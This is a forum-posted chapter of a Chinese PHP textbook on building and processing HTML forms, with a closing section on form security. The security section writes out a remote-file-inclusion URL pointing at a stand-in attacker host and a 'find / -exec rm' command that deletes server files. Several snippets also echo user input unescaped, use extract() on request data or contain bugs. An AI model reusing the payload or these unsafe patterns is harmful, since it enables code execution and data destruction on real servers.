返回列表 回复 发帖

[总结] 第5章 表单——处理用户输入

[总结] 第5章 表单——处理用户输入

提到Web开发,就不得不提到HTML,它在若干年以来一直作为Web用户界面设计的事实标准。虽然现在WAP/XML等页面脚本的使用使得HTML作为一枝独秀的形势难以维系,但是如果要编写前端PHPWeb应用,开发者仍然需要了解HTML语言,尤其是HTML的表单部分。
在本章,我们将学习如下内容:
Ø使用Dreamweaver设计HTML表单
Ø使用PHP发送与接收表单数据
ØPHP表单多页的传值及处理
Ø使用PHP验证用户输入
ØPHP中防止一些轻量级的攻击
ØPHP的两种会话管理方式:COOKIESESSION
Ø规划我们的Web应用程序


5.1 表单与HTML


HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IEFirefoxMozila几个不同浏览器中显示得千差万别。
如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTMLCSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。

有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTMLXML的兼容规格,叫做XHTML,用以从HTML过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。



5.2设计表单

表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。

表单使用<form>作为开始标签,以</form>结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。
下面是最简单的表单,代码如下:
<form>

      <
input type="submit" />

</
form>

复制代码

这个表单在浏览器上只会显示一个按钮“提交查询内容”字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在<form>标签增加两个比较重要的属性标签:actionmethod,如以下表单所示:
<form name="regform" id="regform" action="getPasswd.php" method="post">

     
电子邮件:<input type="text" size=30 name="email" value="">

     <
input type="submit" value="确  定" name="btnSubmit"

</
form>

复制代码

其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL地址处理。
method标签是描述提交数据时使用的方法,它有两种值:GETPOST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法
下面是处理POST表单的方法。
5-1getPasswd.php – 接受POST表单提交的值

<?php 

   $action 
$_SERVER['PHP_SELF'];

   if (
$_SERVER['REQUEST_METHOD'] == 'POST') { 

      echo 
'使用POST方法传递表单值';

      echo 
"$_POST[email]"

   } 

?>



<form name="regform" id="regform" action="<?php echo $action;?>" method="post">

    电子邮件:<input type="text" size=30 name="email" value="">

    <input type="submit" value="确  定" name="btnSubmit">

</form>

复制代码
5.3GET与POST的区别


如果要在浏览器中发送表单或数据给服务器端,使用GETPOST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。


5-1

GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encodeurl_decode函数,使用方法详见2.9.2节)。

POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。

因为POST是随HTTPheader信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击“后退”按钮,浏览器不会自动重发POST数据。如果用户此时单击“刷新”按钮,将会有“数据已经过期,是否重新提交表单”的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用“后退”或“刷新”按钮,浏览器的URL地址也是仍然存在的。

因此,我们在开发中需要根据实际应用灵活选择GETPOST来提交表单数据。

值得一提的是,如果在HTML中缺少表单结束标记</form>,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。
附件: 您所在的用户组无法下载或查看附件
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
把书籍的内容发上来了,呵呵,很好!~~
成功就是成为最好的你自己!
写的不错,一看就是自己写的书,不象是抄袭和拼凑的,呵呵,管理员继续发!~~
成功就是成为最好的你自己!
5.4表单元素


表单所使用的标签元素有十几个,PHP开发中常用及较重要的标签如表5-1所示。
5-1

表单元素

   

input type="checkbox" 复选框,允许用户选择多个选择项
input type="file" 文件浏览框,当文件上传时,可用来打开一个模式窗口以选择文件
input type="hidden" 隐藏标签,用于在表单中以隐含方式提交变量值  
input type="password" 密码文本框,用户在该文本框输入字符时将被替换显示为*
input type="radio" 单选项,用于设置一组选择项,用户只能选择一个
input type="reset" 清除与重置表单内容,用于清除表单中所有文本框的内容,而且使选择菜单项恢复到初始值
input type="submit" 表单提交按钮
input type="text" 单行文本框
select 下拉列表框,可单选和多选。默认为单选,如果增加多项选择功能,增加<select name="select" size="自定义列数" multiple="multiple">即可
option列表下拉菜单,和select配合使用,显示供选择的
textarea 多行文本框,在使用文本框时需要关闭标签之间的文本内容,形成如下格式:<Textarea>你的文字</Textarea>

其中,hidden标签被称为隐藏或隐含的标签,它不会在用户浏览的页面界面上出现,当用户填写资料表单和跨页之间传值时,可以使用该标签传递一些隐含的值。
password密码文本框用于隐藏密码,用户输入的文本将以*显示在文本框中,但是密码并没有加密,只是被*替换显示,这点请注意。
下面介绍表单的属性,它们用于表单中约束表单元素的行为或显示,其含义与约束如表5-2所示。
5-2

属性名称

   

name 文本框的名称,PHP根据该名称,在超级全局数组中建立以name为名称的键名
size 文本框的宽度,在select下拉菜单中,表示可以看到的选项行数
value 文本框中的默认值,注意,该值不能应用到type=password密码文本框以及type=file文件文本框中
multiple 此属性用于下拉列表菜单select中,指定该选项用户可以使用CtrlShift键进行多选
rows 多行文本框显示时可以容纳的字符列数宽度
cols 多行文本框显示时可以容纳的字符行数高度

除了以上一些必要的属性元素外,还有一些标准属性,如classstyleid等,可以参阅HTML相关资料。
在一些动态脚本中,需要使用PHP根据不同的请求从数据库生成表单元素,下面我们就来展示几种生成表单按钮或选项的方法。
1.动态生成一组单选按钮。

<?php

  $options 
= array("010" => "北京",

                   
"020" => "上海",

                   
"024" => "沈阳",

                   
"0411"=> "大连");

  
$default "024";

  
$html generate_radio_group("city_id"$options$default);

  echo 
$html;

  function 
generate_radio_group($name$options$default="") {

     
$name htmlentities($name);

     foreach(
$options as $value => $label) {

        
$value htmlentities($value);

        
$html .= "<INPUT TYPE=\"RADIO\" ";

            if (
$value == $default){

                
$html .= "CHECKED ";

            }

        
$html .= "NAME=\"$name\" VALUE=\"$value\">";

        
$html .= $label "<br>";

     }

  return(
$html);

}

?>

复制代码
该脚本将生成一列单选按钮组,名称为city_id,默认选项为024-“沈阳”。
2.动态生成多选项下拉列表菜单。

<?php

   
function generate_checkboxes($name,$options$default=array()) {

      if (!
is_array($default)){

      
$default = array();

      }



   foreach(
$options as $value => $label) {

      
$html .= "<input type=checkbox ";

      if (
in_array($value$default)){

         
$html .= "checked ";

      }



      
$html .= "name=\"{$name}[]\" value=\"$value\">";

      
$html .= $label "<br>";

   }

   return(
$html);

   }



   
$interests = array("音乐" => "音乐",

                      
"电影" => "电影",

                      
"互联网"=> "互联网",

                      
"旅游" => "旅游");

   
$html generate_checkboxes("interests",$options$interests);

?>





选择您的爱好:

   <form action="interests.php" method=post>

   <?php echo $html;?>

   <input type=submit value="继续">

</form>

复制代码
3.生成多选下拉列表菜单。

<?php 

   $options 
= array( '1' => '请选择'

                     
'news' => '新闻'

                     
'events' => '事件'

                     
'publications' => '稿件' ); 

   
$default "news";

   
//默认已选择的项

   
$html =generate_muilti_option("select"$options$default);

   echo 
$html;



   function 
generate_muilti_option ($name,$options$default){

   
//建立一个允许多选的列表单

      
echo '<select name="'.$name.'[]" id="'.$name.'[]" multiple="multiple">'

      foreach( 
$options as $value => $option ) { 

         echo 
'<option value="' htmlspecialchars$value ) . '"' 

         if( 
$default == $value ) { 

            echo 
' selected'

         } 

         echo 
'>' htmlspecialchars$option ) . '</option>';

      } 

      echo 
'</select>'

}

?>

复制代码
一般动态生成的菜单,多为从数据库取得数据或数据数组,转换成动态HTML菜单,也可以手工创建。
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
5.5表单的处理方法

5.5.1检查表单提交的来源
有些时候,我们需要对表单提交的来源进行处理,比如只允许某个主机或向脚本本身进行提交,防止有的人伪造相同的表单向我们的程序提交,造成安全问题。

前面我们介绍到,PHP$_SERVER服务器超级全局数组提供了一个叫$_SERVER['HTTP_REFERER']的变量,用于保存上一页的来源,比如表单提交或者超级链接的URL地址。如果有人从他的计算机中提交表单或从浏览器地址中直接输入当前脚本名称,该变量会保存表单来源或为空值,这样我们就可以通过它的值进行处理。

下面的例子只允许文件本身提交表单传递值。
5-2formreferer.php – 判断表单来源地址

<?php

   $action 
$_SERVER['PHP_SELF'];

   if (
$_SERVER['REQUEST_METHOD'] == 'POST'){

      
$ref $_SERVER['HTTP_REFERER'];

      
$srv = [url=http://{$_SERVER[]http://{$_SERVER['SERVER_NAME']}$action[/url];

      
echo "当前来源为:<br><b>$ref</b><br>服务器地址为:<br><b>$srv</b><hr>";

      if (
strcmp($srv$ref) == 0){

          echo 
"匹配";

      }

      else{

          echo 
"不允许站外提交";

      }

   }else{

      echo 
'请提交表单';}

?>



<form action="<?php echo $action;?>" method="post">

<input type="submit" value="提交"/>

</form>

复制代码
该例中用到的$_SERVER服务器变量有如下几个:
&Oslash;HTTP_REFERER  保存一个完整的来源URL地址。
&Oslash;SERVER_NAME
当前的服务器名称。

&Oslash;PHP_SELF
当前脚本的完整路径,包括文件名。

我们可以通过“http:// <SERVER_NAME>< PHP_SELF > == <HTTP_REFERER>”来比较,如果相同,则是合法的表单提交,否则不予处理。运行例5-2脚本,单击“提交”按钮后的结果如图5-2所示。

5-2

5.5.2 一个完整表单处理
前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。
<form action="someform.php" method="post">

   <
table width="541" border="0">

      <
tr>

         <
td width="26%">姓名:</td>

         <
td width="74%">



            <
input type="text" name="username" value="raymond" id="username" />



         </
td>

      </
tr>

      <
tr>

          <
td>密码:</td>

          <
td>



             <
input type="password" name="password" maxlength="10" id="password" />



          </
td>

      </
tr>

      <
tr>

         <
td>年龄:</td>

         <
td>

            <
select name="age">

               <
option value=">16">小于16</option>

               <
option value="16-30" selected>16-30</option>

               <
option value="31-50">31-50</option>

               <
option value="51-80">51-80</option>

            </
select>

         </
td>

      </
tr>

      <
tr>

         <
td valign="top">自我介绍:</td>

         <
td><textarea name="intro" rows="3" cols="50" id="intro">请输入您的自我介绍</textarea>



         </
td>

      </
tr>

      <
tr>

         <
td><br />体育爱好: </td>

         <
td><input type="radio" name="fave_sport" value="tennis" checked>网球



               
<input type="radio" name="fave_sport" value="football">足球



               
<input type="radio" name="fave_sport" value="baseball">篮球

             
<input type="radio" name="fave_sport" value="polo">保龄球 



         
</td>

      </
tr>

      <
tr>

         <
td开发语言:</td>

         <
td><input name="from" type="hidden" id="from" value="注册表单">

         <
input type="checkbox" name="languages[]" value="php" checked id="languages[]">php

         
<input type="checkbox" name="languages[]" value="java" id="languages[]">java

         
<input type="checkbox" name="languages[]" value="perl" id="languages[]">perl

         
<input type="checkbox" name="languages[]" value="cpp" id="languages[]">c++

         <
input type="checkbox" name="languages[]" value=".net" id="languages[]">.NET

         
<input type="checkbox" name="languages[]" value="delphi" id="languages[]">delphi 



         
</td>

      </
tr>

      <
tr>

         <
td valign="top"><br>

            <
label开发工具:</label></td>

         <
td><select name="develop_ide[]" size="5" multiple id="develop_ide[]">

                <
option value="ZDE" selected>Zend Studio</option>

                <
option value="Eclipse">Eclipse</option>

                <
option value="Editplus">Editplus</option>

                <
option value="Ultraedit">Ultraedit</option>

                <
option value="Other">Other</option>

             </
select></td>

      </
tr>

      <
tr>

         <
td valign="top"> </td>

         <
td><input type="submit" name="btn_submit" value="提交" /></td>

      </
tr>

   </
table>

</
form>

复制代码
该表单包括了常用表单元素:单行文本框、多行文本框、单选项(radio)、多选项(checkbox),以及多选菜单。下面进行详细的说明。
&Oslash;maxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。
&Oslash;age列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。
&Oslash;intro文本框中的内容,按照rowscols显示文字、行和列宽。
&Oslash;fave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。
&Oslash;和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHPlanguages就是这种形式
&Oslash;checked标签是指单选项和多选项中的某个值,默认已经被选择。
上面表单的显示画面如图5-3所示。

5-3

因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。
将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:

<?php

   
//通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交

   
if(isset($_POST["btn_submit"])){

   if (empty(
$_POST['username'])){

      echo 
"您没有输入用户名";

      exit(
0);

   }



   if (empty(
$_POST['password'])){

      echo 
"您没有输入密码: ";

      exit(
0);

   }





   echo 
"您的用户名: ".$_POST['user_name']."<br />";

   echo 
"您的密码(明文): ".$_POST['password']."<br />";

   echo 
"您的年龄: ".$_POST['age']."<br />";

   if (!empty(
$_POST['languages'])){

      echo 
"您选择的语言为:";

      
//处理用户选择兴趣的checkbox按钮产生的数组

      
foreach ($_POST['languages'] as $lang){

         echo 
$lang"  ";

      }

   } else {

      echo 
"您没有输入任何兴趣爱好";

   }



   if (!empty(
$_POST['develop_ide'])){

      echo 
"您使用的开发工具为:";

      
//处理用户多选开发工具菜单产生的数组

      
foreach ($_POST['develop_ide'] as $ide){

         echo 
$ide"  ";

      }

   } else {

      echo 
"您没有选择开发工具";

   }



   echo 
"您的自我介绍: ".nl2br($_POST['intro'])."<br />";

   echo 
"网页隐藏值(通过hidden标签值传递): ".$_POST['from']."<br />";

}

?>

复制代码

说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。

附件: 您所在的用户组无法下载或查看附件
5.6其他处理表单的方法

下面,让我们一起来看两种处理表单的编程方法以及它们的优缺点。

5.6.1使用import_request_variables()函数

使用import_request_variables()函数可以有选择地注册全局变量集合。你可以使用该函数导入 $_GET$_POST$_COOKIE的值,还可以为每个导入的变量添加前缀(prefix)。

bool import_request_variables ( string types [string prefix])
参数中types字符串中允许为gpc字符,或者3个字符间任意的组合。其中,“g”表示GET变量,“p”表示POST变量,“c”表示cookies

注意:3个字符的排列顺序是有区别的,当使用“pg”时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用“gp”时,$_GET变量数组将优先于$_POST



prefix参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。比如我们有个名为“userid”的$_GET超级全局变量数组,同时提供了“pref_”作为前缀,那么我们将获得一个名为$pref_userid的全局变量。如果我们要导入其他全局变量(例如$_SERVER变量),则请考虑使用extract()函数(在函数一章中有介绍)。注意,在使用prefix前缀时,不要与现有数据或变量名产生冲突

使用import_request_variable()函数实现变量导入的脚本例子如下:

//导入POST提交的变量值,前缀为post_
import_request_variable("p" "post_");
//导入GETPOST提交的变量值,前缀为gp_GET优先于POST
import_request_variable("gp" "gp_");
//导入CookieGET的变量值,Cookie变量值优先于GET
import_request_variable("cg" "cg_");
如果我们在import_request_variables()函数中使用了“pg参数”,请看如下脚本实例:


<?php

   
if(isset($_REQUEST['btn_submit'])){

      echo 
"正常取得的表单POST变量值:".$_REQUEST['Username']."<br />";

      
import_request_variables("pg""import_");

      
//显示导入的变量名称

      
echo "使用import_request_variables函数导入的变量值:".$import_Username

   }

?>





<form id="test_form" name="test_form" method="POST" action="">

   请输入您的名字:



   <label>

      <input type="text" name="Username" id="Username" />

   </label>

   <label>

      <input type="submit" name="btn_submit" id="btn_submit" value="提交" />

   </label>

<br />

</form>

复制代码
该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上,如图5-4所示。

5-4

注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。


import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:
1.当用户不能使用超级变量数组时;
2.在php.ini配置文件的register_globals参数为OffPHP 5之后的版本默认为Off)时,使用import_request_variablesGETPOSTCookie这几个超级变量数组导入到全局作用域中。
3.在开发时,只要声明了引入的变量范围,就不必写$_GET$_REQUEST一堆很长的超级全局数组名称了。

5.6.2使用extract()函数

我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示:
@extract(i_addslashes($_POST), EXTR_OVERWRITE);
@extract(i_addslashes($_GET), EXTR_OVERWRITE);
@extract(i_addslashes($_COOKIE), EXTR_OVERWRITE);
@extract(i_addslashes($_SESSION), EXTR_OVERWRITE);
我们看一个使用extract导出为正常变量的脚本例子:



<?php

   
// 将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可

   
extract($_GET);

   
extract($_POST);

   echo 
"您好, $username $age";

?>





<form action="" method="post">

   姓名:<input type="text" name="username" id="username" />

   年龄:<select name="age">

          <option value=">16">小于16</option>

          <option value="16-30" selected>16-30</option>

          <option value="31-50">31-50</option>

          <option value="51-80">51-80</option>

       </select></td>

   <input type="submit" name="btn_submit" value="提交" />

</form>

复制代码
实现的界面如图5-5所示。

5-5



5.7多页面间传递数据


当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。
我们可以使用如下方法进行处理。
&Oslash;使用表单的隐含元素(hidden)。
&Oslash;把当前表单的数据保存在SESSION中(详情请参见会话一章)。
&Oslash;把当前表单的数据保存在MySQL数据库中。
你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。
对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:
<INPUT TYPE="HIDDEN" NAME="Name" VALUE="<?php echo $_REQUEST['Name']; ?>">
<INPUT TYPE="HIDDEN" NAME="Password" VALUE="<?php echo $_REQUEST['Password']; ?>">
当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL传递的值。
附件: 您所在的用户组无法下载或查看附件
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
5.8验证表单数据


前面提过,不能指望用户按我们的意愿输入数据,因此,在用户提交表单后,一定要对用户输入进行校验处理,比如希望用户输入1012,而不是输入10.12这种数据,这就需要我们在客户端(浏览器)和PHP两端都要进行验证。

5.8.1客户端验证

我们可以使用JavaScript在客户端来校验表单内容,如果数据正确才允许提交到服务器端,这是Web开发中最常见的方法。利用客户端验证的好处是用户反馈快无须直接到服务器请求信息后再下载HTML。大多数验证是放在表单的"onSubmit"事件中,当JavaScript处理表单验证,用户试图递交表单,则立即返回布尔值False,浏览器也不会进行表单提交,方便用户立即纠正错误,因为校验动作都在客户端,从而减小了服务器端的负荷。缺点是,客户端浏览器如IEFirefox,它们对所支持的JavaScript脚本解释并不完全相同,在细节上彼此也有些差异。此外,一些用户为了安全,在浏览器端禁止了对JavaScript的支持,或者根本就是恶意的关闭,这样客户端浏览器就完全不理会客户端验证,为避免这个安全问题,所以仍需要在服务器端进行再次数据验证。

5.8.2服务器端验证

使用服务器端数据验证,是利用PHP脚本来处理表单数据。与客户端验证相比,使用服务器验证的优点在于:它更安全,与所有浏览器无缝对接;缺点是代价稍高,用户反馈慢、增加了服务器负荷。
使用服务器端验证另一大的优势是,你可以用PHP对校验规则进行任意的修改,利用PHP的多种函数和灵活特点,可以很方便更改校验的数据类型、长度,以及检查文本框范围内的号码等。
另外,如果用PHP连接MySQL数据库才能验证用户名是否存在,这种情况下,根本不可能使用客户端脚本。

5.8.3避免表单重复提交

用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复提交。
1.使用客户端脚本提到客户端脚本,经常使用的是JavaScript进行常规输入验证。在下面的例子中,我们使用它处理表单的重复提交问题,请看下面的代码:

<form method="post" name="register" action="test.php" enctype="multipart/form-data"

   <
input name="text" type="text" id="text" />

   <
input name="cont" value="提交" type="button" FONT-FAMILY宋体mso-ascii-font-family'Courier New'mso-hansi-font-family'Courier New'">正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();"

</
form>

复制代码
当用户单击“提交”按钮后,该按钮将变为灰色不可用状态,如图5-6所示。

5-6
上面的例子中使用OnClick事件检测用户的提交状态,如果单击了“提交”按钮,该按钮立即置为失效状态,用户不能单击按钮再次提交。
还有一个方法,也是利用JavaScript的功能,但是使用的是OnSubmit()方法,如果已经提交过一次表单,将立即弹出对话框,代码如下:
<script language="javascript">

<!--

   var 
submitcount=0;

   function 
submitOnce (form){

      if (
submitcount == 0){

         
submitcount++;

         return 
true;

      } else{

         
alert("正在操作,请不要重复提交,谢谢!");

         return 
false;

      }

   }

//-->

</script>



<form name="the_form" method="post" action="" > 

   <input name="text" type="text" id="text" />

   <input name="cont" value="提交" type="submit"> 

</form>
复制代码
在上例中,如果用户已经单击“提交”按钮,该脚本会自动记录当前的状态,并将submitcount变量自加1,当用户试图再次提交时,脚本判断submitcount变量值非零,提示用户已经提交,从而避免重复提交表单。
2.使用Cookie处理使用Cookie记录表单提交的状态,根据其状态可以检查是否已经提交表单,请见下面的代码:

<?php

   
if(isset($_POST['go'])){

     
setcookie("tempcookie","",time()+30);

     
header("Location:".$_SERVER[PHP_SELF]);

     exit();

   }

   if(isset(
$_COOKIE["tempcookie"])){

     
setcookie("tempcookie","",0);

     echo 
"您已经提交过表单";

   }

?>

复制代码
如果客户端禁止了Cookie,该方法将不起任何作用,这点请注意。关于Cookie的详细介绍,请参阅第10章“PHP会话管理”。
3.使用Session处理利用PHPSession功能,也能避免重复提交表单。Session保存在服务器端,在PHP运行过程中可以改变Session变量,下次访问这个变量时,得到的是新赋的值,所以,可以用一个Session变量记录表单提交的值,如果不匹配,则认为是用户在重复提交,请见如下代码:

<?php

   session_start
();

   
//根据当前SESSION生成随机数

   
$code mt_rand(0,1000000);

   
$_SESSION['code'] = $code;

?>

复制代码
在页面表单上将随机数作为隐藏值进行传递,代码如下:

<input type="hidden" name="originator" value="<?=$code?>">

在接收页面的PHP代码如下


<?php

   session_start
();

   if(isset(
$_POST['originator'])) {

   if(
$_POST['originator'] == $_SESSION['code']){

      
// 处理该表单的语句,省略

   
}else{

      echo 
‘请不要刷新本页面或重复提交表单!’;

   }

}

?>

复制代码
关于Session的内容,我们会在第10章“PHP会话管理”详细讨论,你可以直接查阅这一章,然后再返回本节继续阅读。

4.使用header函数转向除了上面的方法之外,还有一个更简单的方法,那就是当用户提交表单,服务器端处理后立即转向其他的页面,代码如下所示。
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {

   
//处理数据,如插入数据后,立即转向到其他页面

   
header('location:submits_success.php');

}


复制代码
这样,即使用户使用刷新键,也不会导致表单的重复提交,因为已经转向新的页面,而这个页面脚本已经不理会任何提交的数据了。

5.8.4表单过期的处理

在开发过程中,经常会出现表单出错而返回页面的时候填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。
1.使用header头设置缓存控制头Cache-control
header('Cache-control: private, must-revalidate');
//
支持页面回跳


2.使用session_cache_limiter方法。
session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前
下面的代码片断可以防止用户填写表单的时候,单击“提交”按钮返回时,刚刚在表单上填写的内容不会被清除:
session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start();
//以下是表单内容,这样在用户返回该表单时,已经填写的内容不会被清空
将该段代码贴到所要应用的脚本顶部即可。
Cache-Control消息头域说明Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。
请求时的缓存指令包括no-cacheno-storemax-agemax-stalemin-freshonly-if-cached,响应消息中的指令包括publicprivateno-cacheno-storeno-transformmust-revalidateproxy-revalidatemax-age。各个消息中的指令含义如表5-3所示。
5-3


缓存指令

   

public指示响应可被任何缓存区缓存
private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效
no-cache指示请求或响应消息不能缓存
no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存
max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应
min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应
max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息

有关SessionCookie的介绍,详细内容请参阅第10章“PHP会话管理”。


5.8.5判断表单动作的技巧

表单可以通过同一个程序来分配应该要处理的动作,在表单中有不同的逻辑,要怎么判别使用者按下的按钮内容不过是个小问题。
其实只要通过提交按钮的name 就可以知道了,表单在提交出去的时候,只有按下的submit类型的按钮才会被送到表单数组去,所以只要判断按钮的值就可以知道使用者按下哪一个按钮,以如下表单为例:
<FORM method="POST" Action=test.php>

   <
input type=submit name="btn" value="a">

   <
input type=submit name="btn" value="b">

</
FORM>

复制代码
当使用者按下“a”按钮的时候btn=a,按下“b”按钮,则btn=b
另外也可以通过提交按钮的名字(name)来判断,请见如下代码:
<FORM method="POST" Action=test.php>

   <
input type=submit name="a" value="提交A">

   <
input type=submit name="b" value="提交B">

</
FORM>

复制代码
这样只要POST/GET的参数里面有ab,就可以知道按下的按钮是哪个。

<?php

   print_r
($_POST);

?>

复制代码
附件: 您所在的用户组无法下载或查看附件
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
5.9表单安全


网站的访客是千差万别的,他可能是一个学生,也可能是一位教授,可能是一个什么都不懂的电脑菜鸟,更有可能是个黑客,不管是弹出意外的错误,还是故意找碴,他们总是喜欢不按我们希望的方式输入,或者寻找我们网站的安全漏洞。
网站中一些常见漏洞,很多原因是开发者的大意造成的,当然还有一部分原因是因为操作系统或服务器配置的原因。常见的安全隐患与比例如表5-4所示。

5-4

程序缺陷

   

用户输入不做验证42.6%
访问控制缺陷3.6%
SESSION ID验证漏洞5.4%
数据库SQL注入28.6%
错误报告7.1%
其他问题0.9%

这个结果作为我们编写程序时的警钟,它告诉我们,为了保证系统的安全,一定注意这几个漏洞,不要为了贪图一时之便,或者为了执行的效率而牺牲了系统安全性,万一失掉了宝贵的数据,或者网站被别人用来发放不良信息而影响了信誉,就得不偿失了。
在本节中,我们介绍导致站点被连续攻击的漏洞,然后,介绍针对这些问题介绍技术解决方法。

5.9.1处理全局性错误

可以确定,一些经常发生的错误是完全可以避免的,另外经常浏览安全网站,或订阅相关的邮件列表,可以注意到每周的安全焦点和预防措施,以及专门针对于PHP应用程序的攻防策略。
1.全局变量一个最基本错误是没有适当地初始化全局变量。注意设置php.ini的开关参数。虽然PHP 5register_globals参数值默认为Off,但为了防止这种错误的发生,我们仍要注意这个问题,如果程序中不能生成变量,那么这个程序很可能是在register_globalsOn的状态下的开发的。
下面的代码就是在register_blobals=On的状态下开发的:

<?php

   session_start
();

   
/*

   * $admin是一个session变量设置验证后的初始值

   */

   
if (!$admin) {

      
do_exit();

   } else {

      
do_admin();

   }

?>

复制代码
尽管这段代码看上去非常简单,并且也没有明显的语法错误,好像没有太多安全问题,但是只要存在一个缺陷,就可能导致一个攻击者使用这个程序行使“管理员”的权限。最多也最容易发生的问题是程序员使用动态的文件包括语句来处理页面流程,如以下代码所示。

<?php

   
include_once $module'.php';

?>

复制代码
这个脚本可以被攻击者利用,在服务器上执行任意PHP代码。
如果在浏览器上的URL GET参数,简单地加入?module=http://hackerweb.com/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于http://hackerweb.com/evilscript.php。当运行到include()函数时,PHP会尝试在example.com包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:

<?php

   
'find / -exec rm "{}" ";"';

?>

复制代码
这串代码可以访问我们的服务器,并且把服务器上所有的文件全部删除!
还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理:
首先,我们要在php.ini中将register_globals设置为Off
第二步,将程序里的$admin,全部换成$_SESSION['admin']
第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:

<?php

   
if (file_exists($module'.php')) {

      include 
$module'.php';

   }

?>

复制代码
